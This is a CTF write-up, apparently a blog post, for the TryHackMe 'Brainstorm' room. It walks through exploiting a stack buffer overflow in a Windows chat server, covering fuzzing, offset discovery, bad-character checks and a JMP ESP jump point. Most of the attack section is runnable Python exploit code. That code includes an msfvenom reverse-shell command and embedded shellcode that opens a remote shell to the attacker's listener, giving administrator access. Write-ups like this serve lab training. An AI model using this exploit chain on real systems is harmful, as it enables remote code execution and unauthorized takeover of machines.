Brainstorm — Tryhackme Writeup

Sourabh Purohit
8 min readOct 12, 2022

--

Brainstorm is a room on Tryhackme. It is based on stack based buffer overflow. We have to write our own exploit to complete this room.

Difficulty: Medium

Basic Prerequisites: You have to understand how buffer overflows work, how computer memory works, what is stack, EIP, ESP and you will also need to know how to use a Debugger on Windows(Immunity Debugger in my case). To write an exploit, you will need to know a scripting language like python. Recommended resources: TCM’s video on buffer overflows and Computerphile’s video on buffer overflows.

In this writeup, I am going to use a Kali Linux VM and a Windows machine.

Let’s Begin

Initial Recon

First, we do a simple nmap scan on the machine.

Remember to use the -Pn flag because the machine does not respond to ICMP (ping) requests.

We see that there are three open ports (3389,21,9999)

Port 21:

We can see that anonymous FTP login is allowed on this machine. So, let’s login and see if we can find something of use.

We can see that there is a directory called chatserver. Let’s see what is inside this.

We found and downloaded a windows executable called ‘chatserver.exe’ and a dll file called essfunc.dll.

Port 9999:

Now, let’s try to connect to port 9999 using netcat as we don’t know much about the service running on this port.

This service is first asking for a username and then for a message. When we enter these details, it displays the message along with the username. Seems like a simple chat application.

Now, let us transfer the files we found on ftp server to a windows machine and run the executable to see what it is doing.

It says ‘Chat Server’. Maybe it is the same executable that is running on port 9999 of the target machine. Let’s confirm it by connecting to it on port 9999 of the windows machine.

And it is the same executable running on the target machine.

Now, as mentioned in the Tasks of the room, we have to test for buffer overflow. To do that, we will be sending a large number of characters to the application when it asks us for the username to try and crash it. I will be sending 4000 A’s to the application.

That did not crash the application. So, now let’s send the same input as the message.

And the application has crashed which means that the message input is vulnerable to buffer overflow.

So, now we have to take the following steps to exploit stack based buffer overflow on this executable:
1. Fuzzing
2. Finding the offset
3. Overwriting EIP
4. Looking for Bad characters
5. Finding a Jump Point (like JMP ESP)
6. Jumping to shellcode

Exploitation

Fuzzing

First of all, we have to fire up Immunity debugger and open and run the chatserver application with it.

Now, we will execute the following python script for fuzzing.

#!/usr/bin/python3
import sys,socket
from time import sleep
buffer=b"A"*100
while True:
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('<Your Windows Machine IP Here>',9999))
payload=b"A" + buffer
s.send((b"hey"))
sleep(1)
s.send((payload))
s.close()
sleep(1)
buffer=buffer + b"A"*100
except:
print("Fuzzing crashed at %s bytes" % str(len(buffer)))
sys.exit()

It is just sending increasing number of A’s as the message for the user ’hey’ until the application crashes.

And the application has crashed.

Now, Let’s look at the registers in Immunity Debugger.

We can see that the value of the Extended Instruction Pointer Register (EIP) is ‘41414141' which is hexadecimal format of ‘AAAA’ which means we have overflowed the buffer and modified the value of EIP register.

We can see that fuzzing crashed at 2400 bytes. After that we have created a pattern using Metasploit’s pattern_create.rb to find the offset in the application.

Finding the offset

First of all we will close Immunity and start it again and then we will attach and run the executable again.

After that, we will execute the following python script.

#!/usr/bin/python3
import sys,socket
from time import sleep
payload=b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D"
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('<Your Windows Machine IP here>',9999))
s.send((b"hey"))
sleep(1)
s.send((payload))
s.close()
except:
print("Error connecting to server")
sys.exit()

The value of offset in this code is the pattern that we created in the previous section. Now, let’s execute it.

After the application crashes, we will again look at the registers in Immunity.

Now, we will copy the value of the EIP register and try to find the offset using Metasploit’s pattern_offset.rb.

And we have found an exact match at offset 2012.

Overwriting EIP

First, we will restart Immunity and chatserver application.

Then, we execute the following python script.

#!/usr/bin/python3
import sys,socket
from time import sleep
payload=b"A"*2012 + b"C"*4try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('<Your Windows Machine IP Here>',9999))
s.send((b"hey"))
sleep(1)
s.send((payload))
s.close()
except:
print("Error connecting to server")
sys.exit()

The above script is sending 2012 A’s because the offset was 2012 after which we can modify the value of EIP. Then, we send 4 C’s (Because the size of EIP is 4 bytes) just to check whether we are able to modify the complete value of EIP according to us or not. The hexadecimal value of ‘CCCC’ is ‘43434343’. So, after execution of this script, the value of EIP should be ‘43434343’. Now, let’s execute.

After the application crashes, we will again look at the registers.

And we can see that the value of EIP is ‘43434343’ which is exactly what we expected it to be. So, we were successfully able to overwrite the value of EIP register according to us.

Finding Bad Characters

First, we restart Immunity and the chatserver application.

Now, let us see if there are any bad characters using the following python script.

#!/usr/bin/python3
import sys,socket
from time import sleep
badchars = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
shellcode=b"A"*2012 + b"C"*4 + badchars

try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('<Your Windows Machine IP here>',9999))
s.send((b"hey"))
sleep(1)
s.send((shellcode))
s.close()
except:
print("Error connecting to server")
sys.exit()

I have already left out ‘\x00’ which is a known bad character. After executing this script and crashing the application, we will use the mona plugin which is a python script used in Immunity debugger to compare the characters pointed by ESP Stack Pointer with an array of all the hex characters to see whether there are any bad characters or not.

The below command will create a mona folder.

!mona config -set workingfolder c:\mona\%p

Then, we will create a byte array just like the one in our python script (excluding the “\x00” character).

!mona bytearray -b "\x00"

Then, we will compare the mona byte array with the hex values pointed by the ESP Stack Pointer. To do that, we will have to look at the registers to get the address stored in ESP.

Now we will copy the value of ESP and use it in the below command for comparison.

!mona compare -f C:\mona\chatserver\bytearray.bin -a 0119EEAC

A popup opens up.

The status here is unmodified which means that no bad characters were found.

Finding a Jump Point

Now, we will look for a jump point to redirect the execution to our own shellcode. We will use the following mona command.

!mona jmp -r esp -cpb "\x00"

“\x00” is for bad characters.

Let’s execute the above command.

In the result, we can see the address ‘0x625014df’ is without any memory protections. So, we will use this address in our final payload to redirect execution to the shellcode that we will generate.

Shellcode

First of all, let’s restart the chatserver application without Immunity Debugger this time.

Now, we will use the following msfvenom command to generate a shellcode that gives us a reverse shell on our kali machine.

msfvenom -p windows/shell_reverse_tcp LHOST=<Your Kali Machine IP> LPORT=<Your Listening Port> EXITFUNC=thread -f c -a x86 -b "\x00"

Now, we will copy this shellcode to our final python script which is as follows.

Don’t forget to add a ‘b’ before each line for byte encoding.
(Note: You will have to generate your own payload as the IP address and port in the payload will be different for you)

#!/usr/bin/python3
import sys,socket
from time import sleep
revshellcode=(
b"\xbd\x02\xf2\xa5\x87\xda\xcd\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
b"\x52\x83\xea\xfc\x31\x6a\x0e\x03\x68\xfc\x47\x72\x90\xe8\x0a"
b"\x7d\x68\xe9\x6a\xf7\x8d\xd8\xaa\x63\xc6\x4b\x1b\xe7\x8a\x67"
b"\xd0\xa5\x3e\xf3\x94\x61\x31\xb4\x13\x54\x7c\x45\x0f\xa4\x1f"
b"\xc5\x52\xf9\xff\xf4\x9c\x0c\xfe\x31\xc0\xfd\x52\xe9\x8e\x50"
b"\x42\x9e\xdb\x68\xe9\xec\xca\xe8\x0e\xa4\xed\xd9\x81\xbe\xb7"
b"\xf9\x20\x12\xcc\xb3\x3a\x77\xe9\x0a\xb1\x43\x85\x8c\x13\x9a"
b"\x66\x22\x5a\x12\x95\x3a\x9b\x95\x46\x49\xd5\xe5\xfb\x4a\x22"
b"\x97\x27\xde\xb0\x3f\xa3\x78\x1c\xc1\x60\x1e\xd7\xcd\xcd\x54"
b"\xbf\xd1\xd0\xb9\xb4\xee\x59\x3c\x1a\x67\x19\x1b\xbe\x23\xf9"
b"\x02\xe7\x89\xac\x3b\xf7\x71\x10\x9e\x7c\x9f\x45\x93\xdf\xc8"
b"\xaa\x9e\xdf\x08\xa5\xa9\xac\x3a\x6a\x02\x3a\x77\xe3\x8c\xbd"
b"\x78\xde\x69\x51\x87\xe1\x89\x78\x4c\xb5\xd9\x12\x65\xb6\xb1"
b"\xe2\x8a\x63\x15\xb2\x24\xdc\xd6\x62\x85\x8c\xbe\x68\x0a\xf2"
b"\xdf\x93\xc0\x9b\x4a\x6e\x83\x63\x22\x48\x59\x0c\x31\xa8\x7e"
b"\xe7\xbc\x4e\xea\xe7\xe8\xd9\x83\x9e\xb0\x91\x32\x5e\x6f\xdc"
b"\x75\xd4\x9c\x21\x3b\x1d\xe8\x31\xac\xed\xa7\x6b\x7b\xf1\x1d"
b"\x03\xe7\x60\xfa\xd3\x6e\x99\x55\x84\x27\x6f\xac\x40\xda\xd6"
b"\x06\x76\x27\x8e\x61\x32\xfc\x73\x6f\xbb\x71\xcf\x4b\xab\x4f"
b"\xd0\xd7\x9f\x1f\x87\x81\x49\xe6\x71\x60\x23\xb0\x2e\x2a\xa3"
b"\x45\x1d\xed\xb5\x49\x48\x9b\x59\xfb\x25\xda\x66\x34\xa2\xea"
b"\x1f\x28\x52\x14\xca\xe8\x72\xf7\xde\x04\x1b\xae\x8b\xa4\x46"
b"\x51\x66\xea\x7e\xd2\x82\x93\x84\xca\xe7\x96\xc1\x4c\x14\xeb"
b"\x5a\x39\x1a\x58\x5a\x68")
shellcode=b"A"*2012 + b"\xdf\x14\x50\x62" + b"\x90"*16 + revshellcode
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('<Your Windows Machine IP Here>',9999))
s.send((b"hey"))
sleep(1)
s.send((shellcode))
s.close()
except:
print("Error connecting to server")
sys.exit()

This code will overwrite the EIP with the Jump Point address we found and add 16 No-Operation Sleds to increase the size of target data and find the exact shellcode address.

Before executing the above python script, let’s set up our netcat listener.

And after executing the script, we got the reverse shell.

Now that we have successfully exploited ‘chatserver.exe’ and we have the exploit code, we just have to replace the Windows machine IP in the python script with brainstorm machine IP and create another msfvenom payload with Tryhackme VPN IP instead of local kali machine IP and then replace the shellcode in the python script.

After doing all of that, we execute the script, and voila! we got a reverse shell as NT Authority (Administrator).

Now, we have to find the flag. To do that, I am going to check under ‘C:\Users’ and we found a user called drake under whose Desktops folder we found the root.txt.

We found the flag in root.txt file.

We have successfully exploited the Brainstorm machine by exploiting a stack based buffer overflow vulnerability in a windows executable.

That was it for this writeup.

Thanks for reading. Hope you liked this writeup.

--

--

Sourabh Purohit
Sourabh Purohit

Written by Sourabh Purohit

Security Engineer, CTF Player, Penetration Tester

No responses yet